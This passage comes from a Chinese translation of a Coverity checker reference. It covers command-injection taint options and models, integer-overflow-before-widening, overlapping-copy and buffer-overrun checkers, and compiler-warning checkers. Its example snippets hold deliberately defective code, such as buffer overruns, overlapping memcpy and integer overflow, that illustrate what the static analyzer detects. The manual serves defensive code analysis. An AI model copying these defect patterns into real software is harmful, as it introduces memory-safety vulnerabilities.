- OS_CMD_INJECTION:trust_command_line:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将命令行参数视为被污染。默认值为 OS_CMD_INJECTION:trust_command_line:true (适用于所有语言)。设置此检查器选项会覆盖全局 --trust-command-line 和 --distrust-command-line 命令行选项。
- OS_CMD_INJECTION:trust_console:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自控制台的数据视为被污染。默认值为 OS_CMD_INJECTION:trust_console:true (适用于所有语言)。设置此检查器选项会覆盖全局 --trust-console 和 --distrust-console 命令行选项。
- OS_CMD_INJECTION:trust_cookie:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自 HTTP cookie 的数据视为被污染。默认值为 OS_CMD_INJECTION:trust_cookie:false (适用于所有语言)。设置此检查器选项会覆盖全局 --trust-cookie 和 --distrust-cookie 命令行选项。
- OS_CMD_INJECTION:trust_database:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自数据库的数据视为被污染。默认值为 OS_CMD_INJECTION:trust_database:true (适用于所有语言)。设置此检查器选项会覆盖全局 --trust-database 和 --distrust-database 命令行选项。
- OS_CMD_INJECTION:trust_environment:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自环境变量的数据视为被污染。默认值为 OS_CMD_INJECTION:trust_environment:true (适用于所有语言)。设置此检查器选项会覆盖全局 --trust-environment 和 --distrust-environment 命令行选项。
- OS_CMD_INJECTION:trust_filesystem:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自文件系统的数据视为被污染。默认值为 OS_CMD_INJECTION:trust_filesystem:true (适用于所有语言)。设置此检查器选项会覆盖全局 --trust-filesystem 和 --distrust-filesystem 命令行选项。
- OS_CMD_INJECTION:trust_http:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自 HTTP 请求的数据视为被污染。默认值为 OS_CMD_INJECTION:trust_http:false (适用于所有语言)。设置此检查器选项会覆盖全局 --trust-http 和 --distrust-http 命令行选项。
- OS_CMD_INJECTION:trust_http_header:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自 HTTP 头文件的数据视为被污染。默认值为 OS_CMD_INJECTION:trust_http_header:false (适用于所有语言)。[除 C/C++ 之外的所有语言] 设置此检查器选项会覆盖全局 --trust-http-header 和 --distrust-http-header 命令行选项。

- OS_CMD_INJECTION:trust_network:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自网络的数据视为被污染。默认值为 OS_CMD_INJECTION:trust_network:false (适用于所有语言)。设置此检查器选项会覆盖全局 --trust-network 和 --distrust-network 命令行选项。
- OS_CMD_INJECTION:trust_rpc:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自 RPC 请求的数据视为被污染。默认值为 OS_CMD_INJECTION:trust_rpc:false (适用于所有语言)。设置此检查器选项会覆盖全局 --trust-rpc 和 --distrust-rpc 命令行选项。
- OS_CMD_INJECTION:trust_system_properties:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自系统属性的数据视为被污染。默认值为 OS_CMD_INJECTION:trust_system_properties:true (适用于所有语言)。设置此检查器选项会覆盖全局 --trust-system-properties 和 --distrust-system-properties 命令行选项。

请参阅《Coverity 命令说明书》中 cov-analyze 的相应命令行选项<#>。

4.246.5. 模型和注解

4.246.5.1. C、C++、Objective C、Objective C++

使用 cov-make-library，您可以使用以下 Coverity Analysis 原语为 OS_CMD_INJECTION 创建自定义模型。

以下模型表明 custom_cmd_exec() 对于参数 command 是污染数据消费者 (类型为 OS_CMD_ONE_STRING) :

```
void custom_cmd_exec(const char *command)
{ __coverity_taint_sink__(command, OS_CMD_ONE_STRING); }
```

以下数据消费者类型也与此检查器相

关：OS_CMD_ARRAY、OS_CMD_FILENAME、OS_CMD_ARGUMENTS。

您可以使用 __coverity_mark_pointee_as_tainted__ 建模原语为污染源建模。例如，以下模型表明，packet_get_string() 从网络返回了被污染的字符串：

```
void *packet_get_string() {
    void *ret;
    __coverity_mark_pointee_as_tainted__(ret, TAIN_TYPE_NETWORK);
    return ret;
}
```

下面的模型表明，当 s 参数无效时（因此不应再将其视为被污染），custom_sanitize() 会返回 true。如果 s 参数无效，custom_sanitize() 会返回 false，并且分析会继续将 s 记录为被污染：

```
bool custom_sanitize(const char *s) {
    bool ok_string;
    if (ok_string == true) {
        __coverity_mark_pointee_as_sanitized__(s, OS_CMD_STRING);
```

```
    return true;
}
return false;
}
```

作为库模型的替代，您还可以在紧接在目标函数之前的源代码注释中使用以下函数注解标记：

- `+taint_sanitize`：指明函数净化字符串参数。例如，下面的代码指明 `custom_sanitize()` 净化了其 `s` 字符串参数：

```
// coverity[ +taint_sanitize : arg-*0 ]
void custom_sanitize(char* s) {...}
```

- `+taint_source`（没有参数）：指明函数返回被污染的字符串数据。例如，下面的代码指明 `packet_get_string()` 返回了被污染的字符串值：

```
// coverity[ +taint_source ]
char* packet_get_string() {...}
```

- `+taint_source`（含有参数）：指明函数污染指定字符串参数的内容。例如，下面的代码指明 `custom_string_read()` 污染了其 `s` 参数的内容：

```
// coverity[ +taint_source : arg-0 ]
void custom_string_read(char* s, int size, FILE* stream) {...}
```



Note

`taint_source` 函数注解与以下这些检查器一起运行：

FORMAT_STRING_INJECTION、HEADER_INJECTION、OS_CMD_INJECTION、PATH_MANIPULATION、SO 和 XPATH_INJECTION。

您可以使用以下函数注解标记忽略函数模型：

- `-taint_sanitize`：指明函数不净化字符串参数。例如，下面的代码指明 `custom_sanitize()` 不净化其 `s` 字符串参数：

```
// coverity[ -taint_sanitize : arg-*0 ]
void custom_sanitize(char* s) {...}
```

- `-taint_source`（没有参数）：指明函数不返回被污染的字符串数据。例如，下面的代码指明 `packet_get_string()` 不返回被污染的字符串值：

```
// coverity[ -taint_source ]
char* packet_get_string() {...}
```

- `-taint_source`（含有参数）：指明函数不污染指定字符串参数的内容。例如，下面的代码指明 `custom_string_read()` 不污染其 `s` 参数的内容：

```
// coverity[ -taint_source : arg-0 ]
```

```
void custom_string_read(char* s, int size, FILE* stream) { ... }
```

4.246.5.2. C# 和 Visual Basic

模型和原语（请参阅Section 5.2，“C# 或 Visual Basic 中的模型和注解”）可以在以下情况下改进通过此检查器执行的分析：

- 如果 OS_CMD_INJECTION 检查器无法将您程序中的方法参数识别为用于启动新操作系统进程（作为可执行项的路径或其参数）的参数，您可以按此方式对其建模。有关详细信息，请参阅Section 5.2.1.3，“C# 和 Visual Basic 原语”中的“Security.CommandFileNameSink(Object)”和“Security.CommandArgumentsSink(Object)”部分。下面的模型指示 OS_CMD_INJECTION 检查器在被污染的数据流入 MyProcessWrapper.Execute 方法的命令行参数时报告缺陷：

```
public MyProcessWrapper {
    void Execute(String commandLine) {
        Security.CommandFileNameSink(commandLine);
    }
}
```

下面的模型指示 OS_CMD_INJECTION 检查器在被污染的数据流入 MyProcessWrapper.Execute 方法的 args 参数时报告缺陷。

```
public MyProcessWrapper {
    void Execute(String safeCommandLine, String args) {
        Security.CommandArgumentsSink(args);
    }
}
```

4.246.5.3. Go

在 Go 中，原语在程序包 `synopsys.com/coverity-primitives/primitives` 中定义，并使用 `Interface` 作为参数；例如：

```
import . "synopsys.com/coverity-primitives/primitives"

func injecting_into_command_function(data interface{}) {
    OsCmdInjectionSink(data);
}
```

如果 `injecting_into_command_function()` 的参数来自不可信来源，`OsCmdInjectionSink()` 原语将指示 OS_CMD_INJECTION 报告缺陷。

4.246.5.4. Java

Java 模型和注解（请参阅Section 5.4，“Java 模型和注解”）可以在以下情况下改进通过此检查器执行的分析：

- 如果分析因为它未将某些数据视为被污染而漏报了缺陷，请参阅关于 `@Tainted` 注解的讨论，并参阅Section 5.4.1.3，“为不可信（被污染的）数据源建模”了解关于将方法返回值、参数和字段标记为被污染的说明。
- 如果分析由于它将字段视为被污染而发生误报，并且您认为被污染的数据不会流入该字段，请参阅。
- 如果 `OS_CMD_INJECTION` 检查器无法将您程序中的方法参数识别为用于启动新操作系统进程（作为可执行项的路径或其参数）的参数，您可以按此方式对其进行建模。下面的模型指示 `OS_CMD_INJECTION` 检查器在被污染的数据流入 `commandLine` 方法的 `MyProcessWrapper.execute` 参数时报告缺陷。

```
public MyProcessWrapper {
    void execute(String commandLine) {
        com.coverity.primitives.SecurityPrimitives.os_cmd_one_string_sink(commandLine);
    }
}
```

另请参阅Section 5.4.1.5，“添加字段被污染或未被污染的断言”。

4.247. OVERFLOW_BEFORE_WIDEN

质量检查器

4.247.1. 概述

支持的语言：C、C++、C#、Java、Objective-C、Objective-C++ 和 Scala

`OVERFLOW_BEFORE_WIDEN` 查找算术运算表达式的值可能在结果被扩展为较大的数据类型之前溢出的情况。该检查器只会报告程序已经包含扩展运算但该运算执行得太迟的情况。在大部分情况下，解决方法是在执行算术运算之前将至少一个操作数扩展为较宽的类型。

该缺陷表明算术运算表达式的值溢出，原因是未能在执行算术运算之前将操作数转换为较大的数据类型。转换失败可能产生意外的值。例如，乘以两个整数的运算可能产生除使用任意精度整数得到的结果之外的值（例如，得到了与使用计算器将两个整数相乘结果之外的值）。该检查器只会在发现一些表明需要更高精度的迹象时报告缺陷。

默认启用：`OVERFLOW_BEFORE_WIDEN` 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

4.247.2. 示例

本部分提供了一个或多个 `OVERFLOW_BEFORE_WIDEN` 示例。

4.247.2.1. C/C++

在下面的示例中，该检查器将报告缺陷，因为 `x * y` 超过了目标平台的 `unsigned` 类型允许的最大值 ($2^{32} - 1$ ，即 4,294,967,295)：

```
void foo() {
    unsigned int x = 2147483648;
    unsigned int y = 2;
    unsigned long long z;
    if ((x * y) == z) {
        // Do something.
    }
}
```

表达式 $(x * y)$ 的结果为 0，可能不是程序员的本意。要获得结果 4,294,967,296，需要对其中一个操作数执行转换：

```
if (((unsigned long long) x * y) == z) {
    // Do something.
}
```

与此相反，该检查器不会将下方的情况报告为缺陷，因为不需要更高的精度：

```
unsigned int bar() {
    unsigned int x = 2147483648;
    unsigned int y = 2;
    return x * y;
}
```

请注意，如果该检查器发现不可能发生溢出情况或即使发生溢出也不会成为问题，则不会报告缺陷。

4.247.2.2. C# 和 Java

本部分提供了一个或多个 OVERFLOW_BEFORE_WIDEN 示例。

```
public class OverflowBeforeWiden
{
    long multiply(int x1, int x2)
    {
        return x1 * x2; //An OVERFLOW_BEFORE_WIDEN defect here.
    }
}
```

4.247.2.3. Scala

在这些示例中， x 和 y （相乘）都是 32 位宽的 Int 类型，但返回的是 64 位 Long 类型。

```
def test(x: Int, y: Int) : Long = { // returns Long
    return x * y // //An OVERFLOW_BEFORE_WIDEN defect here.
}

val test : (Int,Int) => Long = (x, y) => { // returns Long
    x * y // An OVERFLOW_BEFORE_WIDEN defect here.
}
```

4.247.3. 选项

本部分描述了一个或多个 OVERFLOW_BEFORE_WIDEN 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- OVERFLOW_BEFORE_WIDEN:check_bitwise_operands:<boolean> - 当此选项为 true 时，该检查器将针对已经执行位与、位或或者位异或运算的值报告缺陷。默认情况下，该检查器会将位运算符的参数中的溢出视为特意为之。默认值为 OVERFLOW_BEFORE_WIDEN:check_bitwise_operands:false (适用于所有语言)。

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 high，则该检查器选项会自动设置为 true。

示例：

```
unsigned int x = ...;
unsigned long long y = (x << 16) | (x >> 16); // switch endianness
```

- OVERFLOW_BEFORE_WIDEN:check_macros:<boolean> - 当此选项为 true 时，该检查器将报告潜在的溢出运算，即使它们发生在宏内。该检查器默认忽略宏。默认值为 OVERFLOW_BEFORE_WIDEN:check_macros:false (仅适用于 C 和 C++)。

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 medium (或 high)，则该检查器选项会自动设置为 true。

- OVERFLOW_BEFORE_WIDEN:check_nonlocals:<boolean> - 当此选项为 true 时，该检查器将报告潜在的溢出运算，即使扩展是由非本地项（例如函数或方法调用或者全局静态变量）导致的。默认值为 OVERFLOW_BEFORE_WIDEN:check_nonlocals:false (适用于所有语言)。

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 medium (或 high)，则该检查器选项会自动设置为 true。

对于 C/C++，此选项允许该检查器将以下情况报告为缺陷：

```
long long foo() { return 4294967296; }

int compare(int x, int y) {
    return (x << y) == foo();
}
```

对于 C#，此选项允许该检查器报告以下情况：

```
class External {
    public static void use(long l) {}
}

class Other {
    void use(long l) {}
    void testLocal(int i, int j) {
        use(i * j); // Always a bug
    }
}
```

```
    }
    void testNonLocal(int i, int j) {
        External.use(i * j); // Only a bug with check_nonlocals
    }
}
```

对于 Java，启用此选项将允许该检查器将以下情况报告为缺陷：

```
long foo() { return 4294967296L; }
boolean compare(int x, int y) {
    return (x << y) == foo();
}
```

- OVERFLOW_BEFORE_WIDEN:check_types:<regex> - 此选项指定正则表达式 (Perl 语法) 与现有扩展运算的目标类型进行匹配比较。仅当目标类型与指定的正则表达式相匹配时，才会报告缺陷。默认值为 OVERFLOW_BEFORE_WIDEN:check_types:(?:unsigned)?long long|.*64.* (仅适用于 C 和 C++)。

如果 cov-analyze 的 --aggressiveness-level 选项被设置为 high，此检查器选项会被自动设置为 .*。

- OVERFLOW_BEFORE_WIDEN:class_is_nonlocal:<boolean> - 当此选项为 true 时，当前类 (C++、Java、C#) 中的成员函数和字段会被视为“非本地”项，并且不会被用作报告缺陷的依据。当 check_nonlocals 为 true 时，此选项没有任何作用。默认值为 OVERFLOW_BEFORE_WIDEN:class_is_nonlocal:false (适用于所有语言)。
- OVERFLOW_BEFORE_WIDEN:general_operator_context:<boolean> - 如果此选项被设置为 true，该检查器会将在加法、减法和布尔位运算中隐式扩展转换操作数据报告为缺陷。当一个操作数的类型比其他操作数宽时，就会发生这些扩展转换。默认值为 OVERFLOW_BEFORE_WIDEN:general_operator_context:false (适用于所有语言)。

示例：

```
void foo(long long lw,int x, int y,int z)
{
    long long ll;
    ll = lw + (x*y); //Reported with general_operator_context
    ll = (x*y)-lw; //Reported with general_operator_context
    ll = (x*y)/lw; //Not reported with general_operator_context
    z = lw + (x*y) >> 1; //Reported with general_operator_context
    ll = x*(lw+y*z); ////Reported with general_operator_context
}
```

如果 cov-analyze 的 --aggressiveness-level 选项被设置为 high，此检查器选项会被自动设置为 true。

- OVERFLOW_BEFORE_WIDEN:ignore_types:<regex> - 此选项指定正则表达式 (Perl 语法) 与现有扩展运算的目标类型进行匹配比较。如果目标类型与指定的正则表达式相匹配，即使它与 check_types 正则表达式匹配，也不会被报告为缺陷。默认值为

`OVERFLOW_BEFORE_WIDEN:ignore_types:s?size_t|off_t|time_t|__off64_t| ulong|.*32.*` (仅适用于 C 和 C++)。

如果 cov-analyze 的 `--aggressiveness-level` 选项被设置为 `high` , 此检查器选项会被自动设置为 `^$` 。

- `OVERFLOW_BEFORE_WIDEN:relaxed_operator_context:<boolean>` - 如果此选项被设置为 `false` , 该检查器将仅查找特定环境 (例如赋值、条件、函数参数和显式转换) 中的扩展转换 , 但它不会考虑此类环境中在表达式内执行的隐式扩展转换。但是 , 如果此选项被设置为 `true` , 该检查器将查找表达式内的扩展转换 , 而且还会在操作数位于加法、减法、布尔位和一元运算中时在子表达式中进一步查找此类转换。默认值为 `OVERFLOW_BEFORE_WIDEN:relaxed_operator_context:false` (适用于所有语言) 。

示例 :

```
void foo(long long lw,int x, int y,int z)
{
    long long ll;
    ll = lw + (x*y); //Reported with relaxed_operator_context
    ll = (x*y)-lw; //Reported with relaxed_operator_context
    ll = (x*y)/lw; //Not reported with relaxed_operator_context
    z = lw + (x*y) >> 1; //Not reported with relaxed_operator_context
    ll = x*(lw+y*z); ////Not reported with relaxed_operator_context
}
```

如果 cov-analyze 的 `--aggressiveness-level` 选项被设置为 `medium` , 此检查器选项会被自动设置为 `true` 。

- `OVERFLOW_BEFORE_WIDEN:report_intervening_widen:<boolean>` - 如果此选项被设置为 `true` , 则两次乘法 (例如 `(long long)(x * x) * y`) 之间的扩展转换将被视为缺陷。默认情况下 , 会将此类扩展转换视为特意为之 (而不是缺陷) , 前提是假设这可以防止之后的乘法运算溢出 , 因为程序员知道第一次乘法运算不会溢出。默认值为 `OVERFLOW_BEFORE_WIDEN:report_intervening_widen:false` (适用于所有语言) 。

如果将 cov-analyze 命令的 `--aggressiveness-level` 选项设置为 `medium` (或 `high`) , 则该检查器选项会自动设置为 `true` 。

4.247.4. 事件

本部分描述了 `OVERFLOW_BEFORE_WIDEN` 检查器生成的一个或多个事件。

- `overflow_before_widen` - 表示该检查器发现属于缺陷的情况。

4.248. OVERLAPPING_COPY

质量检查器

4.248.1. 概述

支持的语言 : . C 和 C++

OVERLAPPING_COPY 检测数据被以不确定的方式拷贝到重叠位置的情况，例如使用赋值（不确定，除非完全重叠且类型兼容）或 memcpy（始终不确定）。

默认启用：OVERLAPPING_COPY 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

4.248.2. 缺陷剖析

OVERLAPPING_COPY 缺陷说明了在重叠位置之间拷贝内存的路径。它跟踪指针以说明它们是否指向重叠位置，然后报告是否使用赋值或 memcpy 发生了拷贝。

4.248.3. 示例

本部分提供了一个或多个 OVERLAPPING_COPY 示例。

4.248.3.1. C 和 C++

在此示例中，使用 memcpy 拷贝了重叠内存区域，这是不确定的行为。拷贝可能的重叠区域时使用 memmove：

```
void badMemCpy(char *p) {
    int *q = p + 2;
    // Copying overlapping regions; should use "memmove".
    memcpy(p, q, 3);      // OVERLAPPING_COPY defect
}
```

在下一个示例中，使用重叠存储将对象赋值给了另一个对象。C 标准 (C11 6.5.16.1/3) 指明，赋值带有重叠存储的对象是不确定的行为，除非它们完全重叠且具有兼容的类型。此处，这是错误，因为 l 和 i 具有不兼容的类型：

```
struct S1 {
    int i;
};

struct S2 {
    long l;
};

void badOverlappingAssignment(void *p) {
    struct S1 *s1 = (struct S1 *)p;
    struct S2 *s2 = (struct S2 *)p;
    // Defect: assigning overlapping objects
    s2->l = s1->i;      // OVERLAPPING_COPY defect
}
```

4.248.4. 事件

本部分描述了 OVERLAPPING_COPY 检查器生成的一个或多个事件。

- `equal` - 指明 2 个指针指向同一个位置。
- `offset` - 指明 2 个指针指向重叠位置，但不是相同位置。
- `overlapping_assignment` - 指明使用可能不确定的语义发生了赋值。
- `source_type` - 在 `overlapping_assignment` 完全重叠的情况下，指明源位置的类型。
- `target_type` - 在 `overlapping_assignment` 完全重叠的情况下，指明目标位置的类型。
- `overlapping_copy` - 指明 `memcpy` 是使用重叠内存位置调用的。

4.249. OVERRUN

质量、安全检查器

4.249.1. 概述

支持的语言：. C、C++、Objective-C、Objective-C++

`OVERRUN` 查找越界访问缓冲区的很多情况。不当的缓冲区访问可能损坏内存，导致进程崩溃、安全漏洞和其他严重的系统问题。`OVERRUN` 可查找到堆缓冲区和栈缓冲区的越界索引。

默认启用：`OVERRUN` 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2, “启用和禁用检查器”。

4.249.2. 示例

本部分提供了一个或多个 `OVERRUN` 示例。

下面的示例显示了修复缓冲区大小时的缓冲区越界访问缺陷。要让此示例中的缺陷显示在分析结果中，您需要将 `OVERRUN:check_nonsymbolic_dynamic:true` 添加到分析中。

```
void bad_heap() {
    int *buffer = (int *) malloc(10 * sizeof(int)); // 40 bytes
    int i = 0;
    for(; i <= 10; i++) { // Defect: writes buffer[10] and overruns memory
        buffer[i] = i;
    }
}
```

下面的示例显示了在运行时确定缓冲区大小时的缓冲区越界访问错误。

```
void test(int i) {
    int n;
    char *p = malloc(n);
    int y = n; // Valid indices are buffer[0] to buffer[y - 1]
    p[y] = 'a'; // Defect: writing to buffer[y] overruns local buffer
}
```

```

struct s {
    int a;
    int b;
} s1;

void test() {
    int n, i;
    struct s *p = malloc(n * sizeof(struct s));
    if (i <= n)      // "i" can be equal to n
        p[i] = s1;   // Defect: overrun of buffer p
}

```

如果偏移（加上元素大小）的边界超过了缓冲区大小的上边界，此检查器会将解引用（本地或全局）报告为越界访问缺陷。按照 Coverity 基于证据的报告方式，该检查器不会将偏移（加上元素大小）可能超过缓冲区大小上边界的情况报告为缺陷。换言之，它不报告缺陷仅仅是因为偏移没有上边界。但它会在当前程序路径对指针偏移施加了边界并且该偏移有误时报告缺陷。例如，该检查器会报告以下情况，因为程序员提供了 `n` 可能为 99 的证据：

```

void access_dbuffer(int *x, int n) {
    x[n-1] = 1;
}
void caller(int n) {
    int array[10];
    if (n < 100) {
        access_dbuffer(array, n); // defect
    }
}

```

但是，该检查器不会将以下情况报告为缺陷，因为程序员提供了 `i` 可能为 9 但不一定为 10 的证据：

```

void foo() {
    int array[10];
    int i = get();
    if (i > 8) {
        array[i] = 1;
    }
}

```

4.249.3. 选项

本部分描述了一个或多个 OVERRUN 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- OVERRUN:allow_array_of_uniform_structs:<boolean> - 当此选项为 true 时，当以下所有条件都为 true 时，则不会报告越界：
 - 正在访问的内存在一个结构内。
 - 该结构是此类结构数组的成员。调用此数组 `ArrayS`。

- 该结构的所有成员要么是相同类型的标量，要么是相同类型的 C 样式数组。这排除了某些成员为数组而其他成员为标量的情况。
- 读/写将跨越 `ArrayS` 元素之间的边界，但仍在 `ArrayS` 的完整边界内。

默认值为 `OVERRUN:allow_array_of_uniform_structs:true`。该选项在攻击性级别为 `AGGRESSIVE_MED` 或更高时被禁用。

- `OVERRUN:allow_cond_call_on_parm:<boolean>` - 当此选项为 `true` 时，该检查器将报告缓冲区参数通过另一个参数建立索引（即使被传递给条件中的函数的索引可能检查其范围）的情况。默认为 `false`。默认值为 `OVERRUN:allow_cond_call_on_parm:false`

示例：

```
int foo(int);
void default_check_ignore(char *b, int s) {
    if (foo(s)) // assume foo() does no range check on s
        return;
    b[s] = 'a'; // array access at b[s]
}

void test() {
    char *buffer = malloc(128 * sizeof(char));
    default_check_ignore(buffer, 256); // potential overflow at buffer[256]
}
```

- `OVERRUN:allow_range_check_on_parm:<boolean>` - 当此选项为 `true` 时，该检查器将在缓冲区参数通过另一个参数建立索引（即使该索引之前已经通过某些变量 [例如全局变量] 执行了范围检查）时报告缺陷。默认值为 `OVERRUN:allow_range_check_on_parm:false`

示例：

```
int g = 1000;
void callee(char *x, int n) {
    if (n < g) {
        x[n] = 0;
    }
}
void caller() {
    char buf[10];
    // checking 10 against 1000 does not guard against overrun...
    callee(buf, 10);
}
```

- `OVERRUN:allow_strlen:<boolean>` - 当此选项为 `true` 时，该检查器将分析 `strlen` 函数以确定缓冲区大小。当 `allow_symbol` 选项被设置为 `true` 时，默认启用此选项。默认值为 `OVERRUN:allow_strlen:true`
- `OVERRUN:allow_symbol:<boolean>` - 当此选项为 `true` 时，该检查器将使用符号分析查找数组越界访问，即使在运行时已确定数组大小。默认值为 `OVERRUN:allow_symbol:true`

示例：

```
void test(int n, int i) {
    int *x = new int[n];
    if (i <= n) // OVERRUN when i == n
        x[i] = 1;
    delete[] x;
}
```

- OVERRUN:assume_flexible_structs:<boolean> - 当此选项为 true 时，该检查器不会针对分配数据通过结构末端的结构报告 OVERRUN 缺陷。

默认值为 OVERRUN:assume_flexible_structs:false

示例：

以下代码中的最后一个语句将被报告为 OVERRUN 缺陷。

```
vstruct X {
    int i;
    unsigned j;
};
struct X *x = (struct X *)malloc(sizeof(struct X) + 10);
memset(&x->i, 0, sizeof(struct X) + 10);
```

如果您将 assume_flexible_structs 选项设置为 true，则不报告上述缺陷。以灵活数组（例如 unsigned j[]；或大小为 0 和 1 的数组 - 也被视为灵活的）结尾的结构将被视为灵活的，不管该选项是什么。

- OVERRUN:check_nonsymbolic_dynamic:<boolean> - 当此选项为 true 时，该检查器将报告采用动态分配但具有固定分配大小的数组越界访问的情况。这些报告的误报率较高，因为分析经常无法确定采用此技术的代码中分配的位置信息和数组访问之间的正确关联。默认值为 OVERRUN:check_nonsymbolic_dynamic:false

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 high，则该检查器选项会自动设置为 true。

- OVERRUN:report_underrun:<boolean> - 当此选项为 true 时，该检查器将报告通过负索引访问数组的情况。默认值为 OVERRUN:report_underrun:false

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 medium（或 high），则该检查器选项会自动设置为 true。

示例：

```
void underrun() {
    int array[10];
    // reported if 'report_underrun' is enabled
    array[-1] = 1;
}
```

- OVERRUN:strict_arithmetc:<boolean> - 当此选项为 true 时，该检查器将报告指针算术运算生成位于缓冲区第一个字节之前或者最后一个字节+1 之后的地址的情况。使用此地址作为循环边界通常会导致越界访问或欠缺访问的问题。默认值为 OVERRUN:strict_arithmetc:true

示例：

```
void arith() {
    int array[10];
    // not reported, no bug here
    std::sort(array, array+10); // std::sort will access array[9]
    // reported if 'strict_arithmetc' is enabled
    std::sort(array, array+11); // std::sort will access array[10]
}
```

- OVERRUN:strict_member_boundaries:<boolean> - 当此选项为 true 时，该检查器将报告结构中的相邻数组被用作一个大数组（C 语言无法保证这是否安全）的情况。默认值为 OVERRUN:strict_member_boundaries:true

示例：

```
struct S {
    int x[10];
    int y[20];
};
void member_boundaries() {
    struct S s;
    // reported if 'strict_member_boundaries' is enabled
    memset(&s.x[0], 0, sizeof(int)*30); // access s.x[29]
}
```

- OVERRUN:strict_multidim:<boolean> - 当此选项为 true 时，该检查器将在多维数组的一个维度被越界访问时报告缺陷。默认值为 OVERRUN:strict_multidim:false

在下面的示例中，将针对第二个语句显示 OVERRUN 缺陷：

```
int arr[2][15];
int n = arr[0][15];
```

4.249.4. 事件

本部分描述了 OVERRUN 检查器生成的一个或多个事件。

- access_dbuff_const - 被调用的函数调用了另一个函数（在常量偏移处为提供的数组建立了索引），例如：

```
void callee1(int *x) {
    x[10] = 1;
}
void callee2(int *x) {
    callee1(x); //Calling "callee1(int *)" indexes array "x" at byte position 40.
}
```

```
void caller() {
    int x[5];
    callee2(x);
}
```

- alias - 缓冲区的现有指针被赋值给另一个变量。
- alloc_strlen - 潜在缺陷。分配了缓冲区以匹配字符串的长度，但忽略了终止 null 字符的空间。
- buffer_alloc - 调用了内存分配函数。
- const_string_assign - 将字符串常数值赋值给变量。
- overrun-buffer-arg - 在该函数中，在越界位置为缓冲区建立了索引。缓冲区和索引都被传递给该函数。
- overrun-buffer-val - 在该函数中，在越界位置为缓冲区建立了索引。缓冲区被传递给该函数，并且本地变量被用作索引。
- overrun-local - 在该函数中，在越界位置为缓冲区建立了索引。缓冲区和索引都是本地变量。
- sprintf_overrun - 通过长度大于或等于目标缓冲区的字符串调用了 sprintf() 方法。
- strcpy_overrun - 通过长度大于或等于目标缓冲区的字符串调用了 strcpy() 方法。
- strlen_assign - 调用 strlen() 的结果被赋值给变量。
- symbolic_assign - 与缓冲区大小相关的值被赋值给变量。
- symbolic_compare - 将其值与缓冲区大小相关的变量与另一个变量进行了比较。
- var_assign - 动态内存分配的结果被赋值给变量。

4.249.5. 原语

以下原语与该检查器搭配使用可以注入属性而不涉及 RESOURCE_LEAK 检查器。

`__coverity_mark_buffer_size__`

下面的示例展示了从何处插入原语可标记不分配内存的函数。

```
char* overrun_source(int n) {
    static char *p;
    __coverity_mark_buffer_size__(p, n);
    return p;
}
```

4.250. PARSE_ERROR

质量

4.250.1. 概述

支持的语言 : . C、C++、Ruby、Swift

`PARSE_ERROR` 不是典型的检查器。相反，当 Coverity 编译器无法分析源代码时，`PARSE_ERROR` 将创建包含分析错误消息的缺陷报告。如果编译器配置有误，就会经常发生这些分析错误。发生此类错误时，您需要查看编译器配置和 Coverity 构建日志。如果编译器无法从分析错误中恢复，则整个编译单元都无法用于分析。

此检查器是一种分析警告检查器。有关更多详情，请参阅 Section 4.251，“`PW.*`、`RW.*`、`SW.*`：编译警告”。

默认禁用：可以通过向 `cov-analyze` 命令添加 `--enable PARSE_ERROR` 选项，在 Coverity Connect 中查看不可恢复的编译警告错误。

4.251. `PW.*`、`RW.*`、`SW.*`：编译警告

质量、编译警告检查器

4.251.1. 概述

支持的语言 : . C、C++、Swift

与其他 Coverity 检查器不同，编译警告检查器只显示和筛选来自 Coverity 编译器的警告，并且不使用全局建模。换言之，编译警告检查器只进行本地分析而不考虑被调函数的行为。

启用 : . 默认设置通过配置文件管理。有关启用/禁用选项的详情，请参阅 Section 1.2.2，“启用编译警告检查器 (`PW.*`、`RW.*`、`SW.*`)”。

- C/C++ : 默认禁用。
- Swift : 默认启用。

如果 `cov-analyze` 的 `--aggressiveness-level` 选项被设置为 `medium`（或 `high`），下面的 `PW.*` 检查器将会被设置为 `true`：

```
PW.DECLARED_BUT_NOT_REFERENCED
```

如果 `cov-analyze` 的 `--aggressiveness-level` 选项被设置为 `high`，下面的 `PW.*` 检查器会被设置为 `true`：

```
PW.ALREADY_DEFINED
PW.BAD_INITIALIZER_TYPE
PW.BAD_RETURN_VALUE_TYPE
PW.CLASS_WITH_OP_DELETE_BUT_NO_OP_NEW
PW.CLASS_WITH_OP_NEW_BUT_NO_OP_DELETE
PW.ILP64_WILL_NARROW
PW.INCOMPATIBLE_ASSIGNMENT_OPERANDS
PW.INCOMPATIBLE_OPERANDS
PW.INCOMPATIBLE_PARAM
```

```
PW.INTEGER_TRUNCATED  
PW.MIXED_ENUM_TYPE  
PW.NESTED_COMMENT  
PW.NO_CORRESPONDING_DELETE  
PW.NO_CORRESPONDING_MEMBER_DELETE  
PW.NOCTOR_BUT_CONST_OR_REF_MEMBER  
PW.NON_CONST_PRINTF_FORMAT_STRING  
PW.NONSTD_VOID_PARAM_LIST  
PW.NOT_COMPATIBLE_WITH_PREVIOUS_DECL  
PW.POINTER_CONVERSION_LOSES_BITS  
PW.SET_BUT_NOT_USED
```

